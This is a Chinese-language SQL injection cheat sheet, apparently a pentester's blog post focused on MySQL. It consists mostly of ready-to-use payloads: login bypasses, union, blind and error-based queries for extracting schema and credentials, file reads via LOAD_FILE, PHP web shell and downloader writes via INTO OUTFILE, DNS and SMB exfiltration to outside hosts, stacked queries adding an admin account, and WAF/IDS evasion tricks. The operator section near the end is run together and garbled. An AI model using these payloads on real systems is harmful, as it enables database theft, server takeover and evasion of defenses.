SQL注入备忘录
这篇文章主要是总结日常测试sql注入的方法和一些总结,主要是MySQL,MSSQL,ORACLE,sql注入的过程中对他们的利用方式以及一些小技巧。
< MySQL >
-------
\ ^__^
\ (oo)\_______
(__)\ )\/\
||----w |
|| ||
mysql | 需要root权限 |
information_schema | 数据库版本高于5.0 |
返回False表示查询无效(MySQL发生错误/网站上的内容丢失)
返回True表示查询是有效的(内容和往常一样显示)
字符型注入
Strings:
查询语句:SELECT * FROM Table WHERE id = '1';
' | False
--|--
'' | True
" | False
" " | True
\ | False
\\\ | True
数字型注入
查询语句:SELECT * FROM Table WHERE id = 1;
AND 1 | True |
AND 0 | False |
AND true | True |
AND False | False |
1-false | 存在漏洞返回1 |
1-true | 存在漏洞返回0 |
1*56 | 存在漏洞返回56 |
1*56 | 不存在漏洞返回1 |
或者在参数后面加一减一,根据查询语句fuzz。
登录框
登录框处可能存在万能密码登录,或者盲注之类的,一般ctf中比较常见。
查询语句:SELECT * FROM Table WHERE username = '';
常用绕过:
' OR '1
' OR 1 -- -
" OR "" = "
" OR 1 = 1 -- -
'='
'LIKE'
'=0--+
Example:SELECT * FROM Users WHERE username = 'Mike' AND password = '' OR '' = '';
注释查询
以下内容可用于注释掉注入时查询的其余部分:
# Hash 注释
/* c风格的注释
-- - SQL 注释
;%00 空字节
` 反引号
Examples:
SELECT * FROM Users WHERE username = '' OR 1=1 -- -' AND password = '';
SELECT * FROM Users WHERE id = '' UNION SELECT 1, 2, 3`';
Note:
反引号只能用于在用作别名时结束查询。
测试版本
变量:
VERSION()
@@VERSION
@@GLOBAL.VERSION
Example:
SELECT * FROM Users WHERE id = '1' AND MID(VERSION(),1,1) = '5';
Note:
如果DBMS在Windows的机器上运行,输出将包含-nt-log。
具体代码:
/*!mysql版本号*/
Example:
sql语句: SELECT * FROM Users limit 1,{INJECTION POINT};
1 /*!50094eaea*/; False - mysql版本等于或者高于 5.00.94
1 /*!50096eaea*/; True - mysql版本小于 5.00.96
1 /*!50095eaea*/; False - mysql版本等于 5.00.95
二分法嘛,心里有*数。
数据库凭证
Table --> mysql.user
Columns ---> user, password
Current User --> user(), current_user(), current_user, system_user(), session_user()
Examples:
SELECT current_user;
SELECT CONCAT_WS(0x3A, user, password) FROM mysql.user WHERE user = 'root'-- (Privileged)
数据库名称
Tables --> information_schema.schemata, mysql.db
Columns --> schema_name, db
Current DB --> database(), schema()
Examples:
SELECT database();
SELECT schema_name FROM information_schema.schemata;
SELECT DISTINCT(db) FROM mysql.db;-- (Privileged)
服务器主机名
@@HOSTNAME
Example:
SELECT @@hostname;
服务器MAC地址
他的全球唯一标识符是一个128位的数字,最后12位数字是从接口MAC地址形成的。
UUID()
Output:
aaaaaaaa-bbbb-cccc-dddd-eeeeeeeeeeee;
tips:
某些操作系统可能会返回一个48位随机字符串,而不是MAC地址。
表名和列名
确定列数
Order by/Group by
GROUP/ORDER BY n+1;
Notes:
继续增加数字,直到得到一个False响应。
尽管GROUP BY和ORDER BY在SQL中具有不同的功能,但它们都可以以完全相同的方式用于确定查询中的列数。
Example:
sql语句: SELECT username, password, permission FROM Users WHERE id = '{INJECTION POINT}';
1' ORDER BY 1--+ True
1' ORDER BY 2--+ True
1' ORDER BY 3--+ True
1' ORDER BY 4--+ False - Query is only using 3 columns
-1' UNION SELECT 1,2,3--+ True
基于错误(1)
GROUP/ORDER BY 1,2,3,4,5...
Note:
类似于以前的方法,如果启用报错显示,我们可以检查具有1个请求的列数。
Examples:
sql语句: SELECT username, password, permission FROM Users WHERE id = '{INJECTION POINT}'
1' GROUP BY 1,2,3,4,5--+ Unknown column '4' in 'group statement'
1' ORDER BY 1,2,3,4,5--+ Unknown column '4' in 'order clause'
基于错误(2)
SELECT ... INTO var_list, var_list1, var_list2...
Notes:
如果启用错误显示,此方法有效。
当注入点位于LIMIT子句之后时,查找列数很有用。
Example:
sql语句: SELECT permission FROM Users WHERE id = {INJECTION POINT};
-1 UNION SELECT 1 INTO @,@,@ 使用的SELECT语句具有不同数量的列
-1 UNION SELECT 1 INTO @,@ 使用的SELECT语句具有不同数量的列
-1 UNION SELECT 1 INTO @ 没有错误意味着查询使用1列
Example 2:
sql语句: SELECT username, permission FROM Users limit 1,{INJECTION POINT};
1 INTO @,@,@ 使用的SELECT语句具有不同数量的列
1 INTO @,@ 没有错误意味着查询使用1列
基于错误(3)
AND (SELECT * FROM SOME_EXISTING_TABLE) = 1
Notes:
如果您知道您所使用的表名称,并且启用了错误显示,则此功能可用。
它将返回表中的列的数量, 而不是查询。
Example:
sql语句:SELECT permission FROM Users WHERE id = {INJECTION POINT};
1 AND (SELECT * FROM Users) = 1 操作数应该包含3列
检索表名
union
UNION SELECT GROUP_CONCAT(table_name) FROM information_schema.tables WHERE version=10;
Blind
AND SELECT SUBSTR(table_name,1,1) FROM information_schema.tables > 'A'
Error
AND(SELECT COUNT(*) FROM (SELECT 1 UNION SELECT null UNION SELECT !1)x GROUP BY CONCAT((SELECT table_name FROM information_schema.tables LIMIT 1),FLOOR(RAND(0)*2)))
(@:=1)||@ GROUP BY CONCAT((SELECT table_name FROM information_schema.tables LIMIT 1),[email protected]) HAVING @||MIN(@:=0);
AND ExtractValue(1, CONCAT(0x5c, (SELECT table_name FROM information_schema.tables LIMIT 1)));-- Available in 5.1.5
tips:
version=10 for MySQL 5
检索列名
union
UNION SELECT GROUP_CONCAT(column_name) FROM information_schema.columns WHERE table_name = 'tablename'
Blind
AND SELECT SUBSTR(column_name,1,1) FROM information_schema.columns > 'A'
Error
AND(SELECT COUNT(*) FROM (SELECT 1 UNION SELECT null UNION SELECT !1)x GROUP BY CONCAT((SELECT column_name FROM information_schema.columns LIMIT 1),FLOOR(RAND(0)*2)))
(@:=1)||@ GROUP BY CONCAT((SELECT column_name FROM information_schema.columns LIMIT 1),[email protected]) HAVING @||MIN(@:=0);
AND ExtractValue(1, CONCAT(0x5c, (SELECT column_name FROM information_schema.columns LIMIT 1)));-- Available in MySQL 5.1.5
AND (1,2,3) = (SELECT * FROM SOME_EXISTING_TABLE UNION SELECT 1,2,3 LIMIT 1)-- Fixed in MySQL 5.1
AND (SELECT * FROM (SELECT * FROM SOME_EXISTING_TABLE JOIN SOME_EXISTING_TABLE b) a)
AND (SELECT * FROM (SELECT * FROM SOME_EXISTING_TABLE JOIN SOME_EXISTING_TABLE b USING (SOME_EXISTING_COLUMN)) a)
PROCEDURE ANALYSE
PROCEDURE ANALYSE()
Web应用程序需要在要注入的SQL查询中显示所选列之一。
Example:
sql语句: SELECT username, permission FROM Users WHERE id = 1;
1 PROCEDURE ANALYSE() 得到第一个列名
1 LIMIT 1,1 PROCEDURE ANALYSE() 得到第二个列名
1 LIMIT 2,1 PROCEDURE ANALYSE() 得到第三个列名
一次检索多个表/列
SELECT (@) FROM (SELECT(@:=0x00),(SELECT (@) FROM (information_schema.columns) WHERE (table_schema>[email protected]) AND (@)IN (@:=CONCAT(@,0x0a,' [ ',table_schema,' ] >',table_name,' > ',column_name))))x
example:
我数据库里面所有列都跑出来了,这招很有用。


SELECT MID(GROUP_CONCAT(0x3c62723e, 0x5461626c653a20, table_name, 0x3c62723e, 0x436f6c756d6e3a20, column_name ORDER BY (SELECT version FROM information_schema.tables) SEPARATOR 0x3c62723e),1,1024) FROM information_schema.columns
名
从列名查找表名
SELECT table_name FROM information_schema.columns WHERE column_name = 'username';
SELECT table_name FROM information_schema.columns WHERE column_name LIKE '%user%';
从表名中查找列名
SELECT column_name FROM information_schema.columns WHERE table_name = 'Users';
SELECT column_name FROM information_schema.columns WHERE table_name LIKE '%user%';
找出当前的查询
SELECT info FROM information_schema.processlist
tips:
从MySQL 5.1.7开始。

sql
引号绕过
SELECT * FROM Users WHERE username = 0x61646D696E ---> Hex encoding.
SELECT * FROM Users WHERE username = CHAR(97, 100, 109, 105, 110) --> CHAR() Function.
字符串连接
SELECT 'a' 'd' 'mi' 'n';
SELECT CONCAT('a', 'd', 'm', 'i', 'n');
SELECT CONCAT_WS('', 'a', 'd', 'm', 'i', 'n');
SELECT GROUP_CONCAT('a', 'd', 'm', 'i', 'n');
tips: CONCAT()函数用于将多个字符串连接成一个字符串。 语法及使用特点: CONCAT(str1,str2,…) 返回结果为连接参数产生的字符串。如有任何一个参数为NULL ,则返回值为 NULL。可以有一个或多个参数。 CONCAT_WS() 代表 CONCAT With Separator ,是CONCAT()的特殊形式。第一个参数是其它参数的分隔符。分隔符的位置放在要连接的两个字符串之间。分隔符可以是一个字符串,也可以是其它参数。 如果分隔符为 NULL,则结果为 NULL。函数会忽略任何分隔符参数后的 NULL 值。但是CONCAT_WS()不会忽略任何空字符串。 (然而会忽略所有的 NULL)。 GROUP_CONCAT函数返回一个字符串结果,该结果由分组中的值连接组合而成。
条件声明
- CASE
- IF()
- IFNULL()
- NULLIF()
SELECT IF(1=1, true, false);
SELECT CASE WHEN 1=1 THEN true ELSE false END;
timing
SLEEP() MySQL 5
BENCHMARK() MySQL 4/5
Example:
' - (IF(MID(version(),1,1) LIKE 5, BENCHMARK(100000,SHA1('true')), false)) - '
特权
文件特权 以下查询可以帮助确定给定用户的FILE权限。
SELECT file_priv FROM mysql.user WHERE user = 'username'; --。需要root权限 mysql4/5

sql
SELECT grantee, is_grantable FROM information_schema.user_privileges WHERE privilege_type = 'file' AND grantee like '%username%'; --> 不需要特权 mysql5

hacker
读文件
如果用户具有FILE权限,则可以读取文件。
LOAD_FILE()
Examples:
SELECT LOAD_FILE('F:/wing.txt');
SELECT LOAD_FILE(0x463A2F77696E672E747874);
tips:


- 文件必须位于服务器主机上。
- LOAD_FILE()的基本目录是@@datadir。
- 该文件必须是MySQL用户可读的。
- 文件大小必须小于max_allowed_packet。
- @@max_allowed_packet的默认大小是1047552字节。写文件如果用户具有FILE权限,则可以写入文件。```INTO OUTFILE/DUMPFILE
Examples:
写入一个 PHP shell: SELECT '<? system($_GET[\'c\']); ?>' INTO OUTFILE '/var/www/shell.php'; 使用方法: http://localhost/shell.php?c=cat /etc/passwd
写入一个下载器: SELECT '<? fwrite(fopen($_GET[f], \'w\'), file_get_contents($_GET[u])); ?>' INTO OUTFILE '/var/www/get.php' 使用方法: http://localhost/get.php?f=shell.php&u=http://localhost/c99.txt
tips:
- 文件不能用`INTO OUTFILE`覆盖。
- `INTO OUTFILE`必须是查询中的最后一个语句。
- 没有办法对路径名进行编码,所以引号是必需的。
#### 外通道
DNS Requests: SELECT LOAD_FILE(CONCAT('\\foo.',(select MID(version(),1,1)),'.ceye.io\'));
关于DNSLOG的使用请移步我的另外一篇文章:[DNSLOG在渗透测试中的使用技巧](http://evilwing.me/2017/12/11/DNSLOG%E5%9C%A8%E6%B8%97%E9%80%8F%E6%B5%8B%E8%AF%95%E4%B8%AD%E7%9A%84%E4%BD%BF%E7%94%A8%E6%8A%80%E5%B7%A7/)
SMB Requests: ' OR 1=1 INTO OUTFILE '\\attacker\SMBshare\output.txt
#### 堆查询
根据PHP应用程序使用哪个驱动程序与数据库进行通信,MySQL可以进行堆栈查询。
PDO_MYSQL驱动程序支持堆栈查询。 MySQLi(改进的扩展)驱动程序还通过multi_query()函数支持堆栈查询。
Examples: SELECT FROM Users WHERE ID=1 AND 1=0; INSERT INTO Users(username, password, priv) VALUES ('BobbyTables', 'kl20da$$','admin'); SELECT FROM Users WHERE ID=1 AND 1=0; SHOW COLUMNS FROM Users;
#### 特定于MySQL的代码
MySQL允许你指定感叹号后面的版本号。 注释中的语 法仅在版本大于或等于指定的版本号时执行。
Examples: UNION SELECT /!50000 5,null;%00//!40000 4,null-- ,//!30000 3,null-- x/0,null--+ SELECT 1/!41320UNION/!/!/!00000SELECT/!/!USER/!(/!/!/!*/);
第一个例子返回版本; 它使用了一个2列的联合。 第二个例子演示了如何绕过WAF/IDS。
### 模糊和混淆
#### 允许中介字符
以下字符可以用作空格。
09 水平标签 0A 新的一行 0B 垂直标签 0C 新页面 0D 回车 A0 不间断的空格 20 空格
Example: '%0A%09UNION%0CSELECT%A0NULL%20%23
圆括号也可以用来避免使用空格。
`()`
28 ( 29 )
Example: UNION(SELECT(column)FROM(table))
#### 在AND/OR后允许的特征
20 Space 2B + 2D - 7E ~ 21 ! 40 @
Example: SELECT 1 FROM dual WHERE 1=1 AND-+-+-+-+~~((1))
tips: dual是一个可用于测试的虚拟表。
#### 和注释混淆
可以使用注释分解查询来欺骗`WAF/IDS`并避免检测。 通过使用`#或-`后跟一个换行符,我们可以将查询拆分成不同的行。
Example: 1'# AND 0-- UNION# I am a comment! [email protected]:=table_name x FROM--
information_schema
.tables LIMIT 1#URL编码的注入如下所示:
1'%23%0AAND 0--%0AUNION%23 I am a comment!%[email protected]:=table_name x FROM--%0A
information_schema
.tables LIMIT 1%23某些功能也可以使用注释和空格进行混淆。
VERSION/*/%A0 (/comment*/)
#### 编码
编码有时可以用于bypass WAF/IDS。
URL Encoding --> SELECT %74able%6eame FROM information_schema.tables; Double URL Encoding --> SELECT %2574able%256eame FROM informationschema.tables; Unicode Encoding --> SELECT %u0074able%u6eame FROM informationschema.tables; Invalid Hex Encoding (ASP) --> SELECT %tab%le%na%me FROM information_schema.tables;
#### 避免关键字
如果IDS/WAF阻止了某些关键字,还有其他方法可以在不使用编码的情况下绕过它。
INFORMATION_SCHEMA.TABLES
Example: 空格 information_schema . tables 反引号
information_schema
.tables
特定的代码 /!information_schema.tables/ 替代名称 information_schema.partitions information_schema.statistics information_schema.key_column_usage information_schema.table_constraintstips: 他的替代名称可能取决于表中存在的主键。
### 运算符
AND,&& --逻辑AND = --分配一个值(作为SET语句的一部分,或作为UPDATE语句中的SET子句的一部分) : --=分配一个值 BETWEEN ... AND ... --检查一个值是否在一个范围内 BINARY --将字符串转换为二进制字符串 & --按位与 〜 --反转位 | --按位或 ^ -- 按位XOR CASE --Case操作 DIV --整数除法 / --Division operator <=> -- NULL-safe等于运算符 = --等号运算符
= --大于或等于运算符 -- 大于运算符 IS NOT NULL -- NOT NULL值测试 不是 根据布尔值来测试一个值 IS NULL --NULL值测试 IS --根据布尔值来测试一个值 << --Left shift <= -- 小于或等于 < -- 小于 LIKE -- 简单的模式匹配
-- 减号%或MOD-- 模运算符NOT BETWEEN ... AND ... -- 检查一个值是否在一个范围内!=,<> -- 不等于运算符NO LIKE -- 简单模式匹配的否定NOT REGEXP -- NOT REGEXPNOT , ! -- 否定值|| -- 或+-- 加法运算符REGEXP 使用正则表达式的REGEXP模式匹配-- 右移 RLIKE -- REGEXP的同义词 SOUNDS LIKE-- 比较声音 -- 乘法运算符 -- 改变参数的符号XOR -- 逻辑异或### 常量current_usernull, \Ntrue, false### 密码散列在MySQL 4.1之前,由PASSWORD()函数计算的密码散列长度为16个字节。 这样的哈希看起来像这样:PASSWORD('mypass') 6f8c114b58f2ce9e从MySQL 4.1开始,PASSWORD()函数已被修改为产生一个更长的41字节散列值:PASSWORD('mypass') *6C8989366EAF75BB670AD8EA7A7FC1176A95CEF4
### 密码破解
今天你cmd5了吗?
`Cain&Abel`和`John the Ripper`都能够破解`MySQL 3.x-6.x`密码。
#### MySQL <4.1密码破解
这个工具是MySQL散列密码的高速蛮力密码破解工具。 它可以在普通的PC上在几个小时内爆破一个包含任何可打印的ASCII字符的8个字符的密码。
```code code
/* This program is public domain. Share and enjoy.
*
* Example:
* $ gcc -O2 -fomit-frame-pointer MySQLfast.c -o MySQLfast
* $ MySQLfast 6294b50f67eda209
* Hash: 6294b50f67eda209
* Trying length 3
* Trying length 4
* Found pass: barf
*
* The MySQL password hash function could be strengthened considerably
* by:
* - making two passes over the password
* - using a bitwise rotate instead of a left shift
* - causing more arithmetic overflows
*/